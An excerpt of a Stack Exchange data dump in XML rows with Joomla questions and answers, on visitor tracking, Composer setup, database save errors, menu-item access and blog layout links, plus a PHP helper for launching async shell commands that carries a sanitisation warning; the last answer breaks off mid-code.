  <row Id="23408" PostTypeId="1" CreationDate="2018-09-06T08:48:20.573" Score="3" ViewCount="179" Body="&lt;p&gt;Is there a API or possiblity to identify in joomla if the user is a new visitor, who visits the page the first time or a defined period passed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be specific, the user is not registered joomla user, it is a simple anonymous visitor,  who is visiting us the first time (never been before on the page) or who is visiting us again after lets say 30 days of inactivity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question here, is there a joomla api to identify if the user is new or if the user has visited us already some time before?&lt;/p&gt;&#xA;" OwnerUserId="3956" LastActivityDate="2018-09-12T13:35:24.977" Title="Joomla API for identifying if new visitor?" Tags="|joomla-3.x|joomla-api|cookies|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23409" PostTypeId="2" ParentId="23408" CreationDate="2018-09-06T09:39:29.840" Score="1" Body="&lt;p&gt;Just to clear a few things: I don't think there is anything that can tell this, not only in Joomla but in anything in the web. Under certain conditions you may be able to tell if a certain browser was at your site recently, e.g. like what G. Analytics does when counting new vs old visitors, which is a cookie based solution.&lt;/p&gt;&#xA;&lt;p&gt;But there is no real accuracy on such metrics, so if you are trying to implement specific critical things based on that, simply you can't.&lt;/p&gt;&#xA;&lt;p&gt;So with this in mind you need to clarify and narrow down or change your requirements on what you are trying to do, based on what is actually feasible.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Update for your comment:&lt;/h3&gt;&#xA;&lt;p&gt;I don't know exactly how Google handles it, but briefly from what I have read on the subject, the GAnalytics JS sets a cookie on the user's browser and assigns a unique id for that user which is also stored on Google's server. So in case this user returns, GA JS reads the cookie and knows that this user is a returning one.&lt;/p&gt;&#xA;&lt;p&gt;I don't know for sure, but I am almost certain that there is nothing like that is provided by Joomla - and frankly I don't think Joomla needs to provide something like this.&lt;/p&gt;&#xA;&lt;p&gt;But depending on what you are actually want to do, this can be as simple as setting a cookie in the user's browser.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-09-08T17:21:23.607" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23410" PostTypeId="2" ParentId="23407" CreationDate="2018-09-06T10:51:07.533" Score="2" Body="&lt;p&gt;I had the same issue once and I solved with with a lot of trial and error. You're going to really struggle doing this without composer though, so I strongly suggest using it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You'll firstly need to install &lt;a href=&quot;https://getcomposer.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Composer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla framework packages can be &lt;a href=&quot;https://github.com/joomla-framework&quot; rel=&quot;nofollow noreferrer&quot;&gt;found here&lt;/a&gt; and have been separated so they're easier to maintain and allows you to fetch whichever you require, rather than all at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;composer.json&lt;/code&gt;, you'll need to add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;require&quot;: {&#xA;        &quot;joomla/database&quot;: &quot;~1.0&quot;,&#xA;        &quot;joomla/console&quot;: &quot;~2.0@dev&quot;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is a basic example of a &lt;code&gt;composer.json&lt;/code&gt; file (save it in the root of your project)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;name&quot;: &quot;vendor_name/package_name&quot;,&#xA;    &quot;type&quot;: &quot;project&quot;,&#xA;    &quot;description&quot;: &quot;Some Description here&quot;,&#xA;    &quot;homepage&quot;: &quot;https://github.com/company/project&quot;,&#xA;    &quot;license&quot;: &quot;GPL-2.0+&quot;,&#xA;    &quot;config&quot;: {&#xA;        &quot;platform&quot;: {&#xA;            &quot;php&quot;: &quot;7.2.9&quot;&#xA;        },&#xA;        &quot;vendor-dir&quot;: &quot;framework/vendor&quot; &amp;lt;&amp;lt; CHANGE TO  INSTALLATION LOCATION&#xA;    },&#xA;    &quot;require&quot;: {&#xA;        &quot;joomla/database&quot;: &quot;~1.0&quot;,&#xA;        &quot;joomla/console&quot;: &quot;~2.0@dev&quot;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Then open the command line and &lt;code&gt;cd&lt;/code&gt; into the root of your project and run &lt;code&gt;composer install&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will install the packages you need and any dependencies they require.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can then include composer's autoload file in the main file of your application&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require __DIR__ . '/framework/vendor/autoload.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(change &lt;code&gt;framework/vendor&lt;/code&gt; to whatever you chose in the composer file)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;All packages have been installed at this point and you're ready to start using them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Include your &lt;code&gt;Use&lt;/code&gt; statements and instantiate a database connection as shown here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla-framework/database#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-framework/database#introduction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The only &quot;ZIP&quot; file I know of that use the Joomla framework packages is the Joomla CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've most likely seen the link here, but on the off chance you haven't, have a look: &lt;a href=&quot;https://joomla.stackexchange.com/a/15306/168&quot;&gt;https://joomla.stackexchange.com/a/15306/168&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2018-09-06T15:24:34.487" LastActivityDate="2018-09-06T15:24:34.487" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23411" PostTypeId="1" CreationDate="2018-09-06T14:39:58.830" Score="0" ViewCount="61" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;This question was originally &lt;a href=&quot;https://stackoverflow.com/q/52082006/2652985&quot;&gt;asked on StackExchange&lt;/a&gt;, and it was &lt;a href=&quot;https://stackoverflow.com/questions/52082006/joomla-phpmyadmin-bug-when-select-is-in-the-value#comment91179610_52082006&quot;&gt;recommended by @mickmackusa that I ask it here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h1&gt;Background&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;We recently changed over from one server to a brand new one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old server: PHP 5.7, Joomla 2.x, MySQL 5.6.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New Server: PHP 7.0, Joomla 3.x, MariaDB 10.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The OSE Plugin is the different, but given that it is affecting rows outside of OSE (They seem to be defunct now, as we are not getting any reply from their support staff).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On both servers, this glitch can be replicated, but not 100% of the time.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The Issue&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Near as we can tell, any value that is entered into the table that contains &quot;select&quot;, &quot;selected&quot;, or any other variation of the word results in a generic 500 error. This happens when changing an article that includes the word, when changing an email template in the OSE control panel (e.g. &quot;membership selected:&quot;), or when trying to change those rows manually through a PHPMyAdmin installed manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curiously, when logging into the PHPMyAdmin through the installed cPanel, we can change those values there. This obviously isn't a long term solution as we can't give our writers cPanel / PHPMyAdmin access, but I mention it to help understand the whole picture.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What we tried&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Error Logs - No Error logs (that we can find) show anything related to this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Permissions - Permissions don't seem to affect this issue, as we can make changes to any value, as long as they don't include &quot;select&quot; or any variation of that name.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The Goal&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;What I want to understand is why the cPanel PHPMyAdmin can make these changes, but not the manually installed one, or Joomla / OSE.&lt;/p&gt;&#xA;" OwnerUserId="12867" LastActivityDate="2020-01-20T08:01:35.340" Title="Joomla / PHPMyAdmin bug when “select” is in the value" Tags="|joomla-3.x|php|mysql|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23412" PostTypeId="2" ParentId="23411" CreationDate="2018-09-06T16:44:58.283" Score="1" Body="&lt;p&gt;Started to write a comment, but it will become to long, so writing here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your given info, I tend to think this isn't something in Joomla. Most likely it is something with your server environment, which you need to ask support from your hosting provider. Could be a firewall or something, although the fact you get a 500 error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up a few things: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever you save data that includes any work that contains &quot;select&quot; you get a 500 error? And this is also true when you do it through a second instance of phpMyAdmin? And it happens in both your servers? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting the same issue from both your old and new Joomla sites and also from another application think phpMyAdmin means this isn't something inside Joomla. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the same hosting provider for both the servers? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried this on a local installation of the site, or other hosting providers? &#xA;If not, just do it to test and confirm the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use an .htaccess in the local instance (e.g. for SEF URLs), use just the core one - with the absolute minimum settings. If you get the same issues, then start disabling plugins as a first move and report back here.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-09-06T16:44:58.283" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23413" PostTypeId="2" ParentId="23408" CreationDate="2018-09-07T00:14:58.360" Score="1" Body="&lt;p&gt;I went down this rabbit hole several years ago as a self-educating endeavor.  You can go to the extent of leveraging a blend of server-side and client-side to sniff/frisk/detect a device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The truth is that all data that you might wish to process:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;can be spoofed/circumvented&lt;/li&gt;&#xA;&lt;li&gt;can naturally fluctuate/vary enough to trip up your algorithm&lt;/li&gt;&#xA;&lt;li&gt;can be missing depending on the device/browser&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I mean, look, you can check:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IP address&lt;/li&gt;&#xA;&lt;li&gt;UserAgent&lt;/li&gt;&#xA;&lt;li&gt;Screen/Window Dimension&lt;/li&gt;&#xA;&lt;li&gt;Platform&lt;/li&gt;&#xA;&lt;li&gt;User Language&lt;/li&gt;&#xA;&lt;li&gt;Plugins&lt;/li&gt;&#xA;&lt;li&gt;...and more&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and you can get a &quot;pretty good&quot; fingerprint on your user, but you could never be 100% confident about the detection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are trying to offer a courtesy (not issue an annoying popup if this is a repeat visitor), then you might go down this path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, I'd recommend that you take the more sensible approach and ask your users to sign up so that you can deliver a better User eXperience for them.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-09-07T00:14:58.360" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23414" PostTypeId="2" ParentId="10149" CreationDate="2018-09-07T09:12:01.410" Score="1" Body="&lt;p&gt;I agree with @MarkBradley that there is something odd if dispatching emails is taking that long. That said, I had a somewhat related requirement to send a large volume of emails in a single web request (not a bulk mailer as such, but similar behaviour).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created the following general purpose async command launcher utility for PHP. I'm sure it could do with some polishing, but it serves my purpose at least:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function invokeAsyncCommand($p_command) {&#xA;&#xA;    // Escape any single quotes in the command string before passing to shell&#xA;    $command = str_replace(&quot;'&quot;, &quot;'\&quot;'\&quot;'&quot;, $p_command);&#xA;&#xA;    // Launch the command via an authorised user account using the 'at' command&#xA;    $command = &quot;echo '$command' | sudo -u somelimiteduser at now &quot;;&#xA;&#xA;    exec($command, $output, $return_var);&#xA;&#xA;    return $return_var;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the use of sudo there. This is to account for the fact that the web server user account would generally be configured without a shell and so unable to use 'at' or related commands. Also, we don't want to give the web server general shell access, so instead we authorise it to run just that command as another user with limited privileges (discussion &lt;a href=&quot;https://lists.fedoraproject.org/pipermail/users/2011-June/400095.html#fromHistory&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;). To do so, add a line similar to the following in your sudoers config (eg. &lt;code&gt;visudo -f /etc/sudoers.d/mysudoers&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www-data        ALL = (somelimiteduser) NOPASSWD:/usr/bin/at&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where www-data is the web server user account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Word of advice&lt;/em&gt;: Be absolutely certain the $p_command value supplied here either contains no user-supplied content (ie. is generated entirely within your own code), or is suitably sanitised before use!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, FWIW, I created a Joomla CLI utility that I invoke via the above function to perform my mass mailing task, so my command invocation was along the lines of:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;invokeAsyncCommand(JPATH_BASE . '/cli/mycliutil.php --arg=someval');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="454" LastEditorUserId="454" LastEditDate="2018-09-07T09:56:30.767" LastActivityDate="2018-09-07T09:56:30.767" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23416" PostTypeId="1" CreationDate="2018-09-07T16:42:27.840" Score="1" ViewCount="631" Body="&lt;h1&gt;The Goal&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;We have a subset of items on our site that are not Joomla pages, but other systems such as a selection of HTML5 and Flash (for now) Games:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/play&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/photobooth&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These should only be accessible after logging in through Joomla, but trying to intercept these URLS only leads to Joomla Errors Bypassing Joomla works, but then anyone can access them, and the connections we have don't work.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The Suggested Process&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add new Menu Item (System -&gt; URL)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;So, when going to this Alias, rather than going directly to the subset of the site, it first goes through Joomla for Login.&lt;/li&gt;&#xA;&lt;li&gt;See Below for Image of Configuration&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add new Menu Item to Article / custom Menu&lt;/li&gt;&#xA;&lt;li&gt;Click on new Link&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If Logged in:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to page&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not Logged In:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Redirect to Login Page&lt;/li&gt;&#xA;&lt;li&gt;Redirect back to Menu Alias&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;The Issue (Step 2)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&quot;Internal&quot; links that are not Joomla need to be accessed only when logged in with Joomla&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Intended Behavior&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If Logged in:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to page&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not Logged In:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Redirect to Login Page&lt;/li&gt;&#xA;&lt;li&gt;Redirect back to Menu Alias&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Actual Behavior&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If Logged in:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Redirects to &quot;404 - Component not found.&quot;&lt;/em&gt;&lt;/strong&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(See Below)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not Logged In:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Redirects to Login Page&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Redirects to &quot;404 - Component not found.&quot;&lt;/em&gt;&lt;/strong&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(See Below)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;System&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla: 3.8.10&lt;/li&gt;&#xA;&lt;li&gt;PHP: 7.1.21&lt;/li&gt;&#xA;&lt;li&gt;Database: 5.5.5-10.0.36-MariaDB &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Images&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;404 - Component not Found&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ttcEH.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ttcEH.gif&quot; alt=&quot;Default Joomla Error Page&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Menu Item Configuration&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oJatv.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oJatv.gif&quot; alt=&quot;Menu Item Configuration&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12867" LastEditorUserId="12867" LastEditDate="2018-09-07T17:53:35.180" LastActivityDate="2021-05-15T23:17:49.337" Title="Internal (but non-joomla) URL as Menu Item" Tags="|joomla-3.x|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23418" PostTypeId="2" ParentId="23416" CreationDate="2018-09-08T08:32:09.340" Score="1" Body="&lt;p&gt;The URLs you mention leads to html documents that are not part of the Joomla Application.&lt;br /&gt;&#xA;You can not implement Joomla's ACL on pages which are not part of Joomla and are otherwise publicly accessible.&lt;/p&gt;&#xA;&lt;p&gt;When you link to an external (of the Joomla app) URL like the one you show in the screenshot: &lt;code&gt;/play/cruiseship/lobby&lt;/code&gt; if that are url is a valid one, you will get there and your browser will load/display the content that exists there.&#xA;But this is not Joomla anymore.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3&gt;The Issue (Step 2)&lt;/h3&gt;&#xA;&lt;p&gt;&amp;quot;Internal&amp;quot; links that are not Joomla need to be accessed only when&#xA;logged in with Joomla&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Simply the above cannot happen. Unless you have coded those pages like this, it seems to be nothing that will tell if it's a user registered in your Joomla site or anything else related to Joomla.&#xA;Restriction based on Joomla ACL cannot occur, no redirect for non-registered users can happen.&lt;/p&gt;&#xA;&lt;p&gt;Regarding The 404 errors, I would guess that this is caused by wrong URL path you have given to the system links or something. Not sure how you have managed to make Joomla requesting a login. I guess something among the various settings you have tried. But I would guess, that still if you just try to access those html files directly using their correct path, you would be able to access/load them.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-09-08T14:25:51.937" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23420" PostTypeId="2" ParentId="22652" CreationDate="2018-09-08T15:43:57.747" Score="0" Body="&lt;p&gt;This Q/A here (&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/8764/why-does-category-view-use-home-page-itemid-when-displaying-the-articles&quot;&gt;Why does Category View use Home Page Itemid when displaying the articles?&lt;/a&gt;&lt;/strong&gt;) is rather similar and most likely it will answer your first question. How to force Joomla to use one menu item over the other for the same content item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I don't know if the answer provided there is still valid, but it describes what was the case back then which is very likely it is still the same, or at least something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding making URLs without menu items, but based on categories, you can use a SEF extension like sh404SEF to achieve this. Although your content must be linked somehow in the front-end, for enabling sh404SEF to generate your URLs. So at least a few menu items will be needed anyway.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-09-08T15:43:57.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23421" PostTypeId="1" CreationDate="2018-09-08T16:23:54.773" Score="1" ViewCount="135" Body="&lt;p&gt;I'm creating a form using the Joomla XML form definition, and I want to create a range of integer values a user can select from. The &lt;code&gt;number/integer&lt;/code&gt; field is fine for this use-- but I need to allow the &lt;code&gt;first&lt;/code&gt;, &lt;code&gt;last&lt;/code&gt;, and &lt;code&gt;step&lt;/code&gt; parameters to be set by the user of the component. Is it possible to pass in variables to the XML form?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;myintegervalue&quot; type=&quot;integer&quot; default=&quot;Some integer&quot; label=&quot;Choose an integer&quot; description=&quot;&quot; first=&quot;1&quot; last=&quot;10&quot; step=&quot;1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I realize it's possible to create a custom field type, but then I'd end up re-inventing the wheel and building the select list with the min / max / step values and duplicating the &lt;code&gt;JFormFieldNumber&lt;/code&gt; code.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2018-09-08T16:36:16.367" LastActivityDate="2018-09-08T16:36:16.367" Title="Variables in XML form definition" Tags="|jform|form|xml|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23422" PostTypeId="1" CreationDate="2018-09-09T18:08:26.327" Score="1" ViewCount="3342" Body="&lt;p&gt;I am getting the following errors:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Database connection error (1): The MySQL adapter 'mysql' is not&#xA;  available. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: session_write_close(): Cannot call session save&#xA;  handler in a recursive manner in&#xA;  C:\xampp\htdocs\RCUB_praveen_Backup\libraries\joomla\session\session.php&#xA;  on line 681&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: session_write_close(): Failed to write session data using&#xA;  user defined save handler. (session.save_path: C:\xampp\tmp) in&#xA;  C:\xampp\htdocs\RCUB_praveen_Backup\libraries\joomla\session\session.php&#xA;  on line 681&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have uploaded database successfully and I use XAMPP v3.2.2&lt;/p&gt;&#xA;" OwnerUserId="12871" LastEditorUserId="12352" LastEditDate="2018-09-10T09:07:21.040" LastActivityDate="2018-09-12T13:30:44.757" Title="The MySQL adapter 'mysql' is not available and session Warnings" Tags="|joomla-3.x|joomla-3.4|xampp|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23424" PostTypeId="1" CreationDate="2018-09-09T22:51:08.377" Score="3" ViewCount="133" Body="&lt;p&gt;Some of Joomla's page can be visited even though there isn't any link to it on the site. One of the infamous examples is when some hacker visits the user registration link even though there isn't any login form on the site. For this we can turn off user registration, but what about other pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some components may have some pages that anyone can visit if they are familiar with the component and know the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feels like a potential backdoor for malicious users. Is there a common way to prevent this or does this have to be dealt with on a case by case basis?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="12352" LastEditDate="2018-09-10T09:07:13.757" LastActivityDate="2018-09-12T13:27:53.300" Title="How to prevent Joomla's hidden links from being visited?" Tags="|joomla-3.x|security|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23425" PostTypeId="2" ParentId="23424" CreationDate="2018-09-09T23:06:25.540" Score="1" Body="&lt;p&gt;&lt;code&gt;defined('_JEXEC') or die;&lt;/code&gt; can be found at many, many php scripts in the Joomla framework to restrict the number and location of via entry points into your site/application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/JEXEC&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/JEXEC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very deliberate form of security for what you are describing.  If you aren't baking this into your new scripts, then you should.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-09-09T23:06:25.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23426" PostTypeId="1" AcceptedAnswerId="23427" CreationDate="2018-09-10T07:40:59.420" Score="1" ViewCount="357" Body="&lt;p&gt;When displaying articles in blog layout on my website, I want the respective article link on the title and the whole intro text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the code in &lt;strong&gt;components/com_content/views/category/tmpl/blog_item.php&lt;/strong&gt;, but I was not able to find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to do that?&lt;/p&gt;&#xA;" OwnerUserId="3640" LastEditorUserId="12352" LastEditDate="2018-09-10T12:14:52.123" LastActivityDate="2018-09-12T14:38:14.593" Title="How to set the title and intro text as hyperlinks to the full article in blog layout?" Tags="|joomla-3.x|articles|category-blog|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23427" PostTypeId="2" ParentId="23426" CreationDate="2018-09-10T12:31:48.727" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;h3&gt;Important Note after KlintWeb comment:&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;You certainly want to do any such changes inside a template override.&#xA;  Search in this site and also in the web about &lt;strong&gt;Joomla Template&#xA;  Overrides&lt;/strong&gt; to find out how you can create them.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;How to wrap the intro-text inside a link to the article:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;components/com_content/views/category/tmpl/blog_item.php&lt;/code&gt; there is a piece of code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;introtext; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This one echoes the introtext of the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A a few lines below, there is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($params-&amp;gt;get('show_readmore') &amp;amp;&amp;amp; $this-&amp;gt;item-&amp;gt;readmore) :&#xA;    if ($params-&amp;gt;get('access-view')) :&#xA;        $link = JRoute::_(ContentHelperRoute::getArticleRoute($this-&amp;gt;item-&amp;gt;slug, $this-&amp;gt;item-&amp;gt;catid, $this-&amp;gt;item-&amp;gt;language));&#xA;    else :&#xA;        $menu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;        $active = $menu-&amp;gt;getActive();&#xA;        $itemId = $active-&amp;gt;id;&#xA;        $link = new JUri(JRoute::_('index.php?option=com_users&amp;amp;view=login&amp;amp;Itemid=' . $itemId, false));&#xA;        $link-&amp;gt;setVar('return', 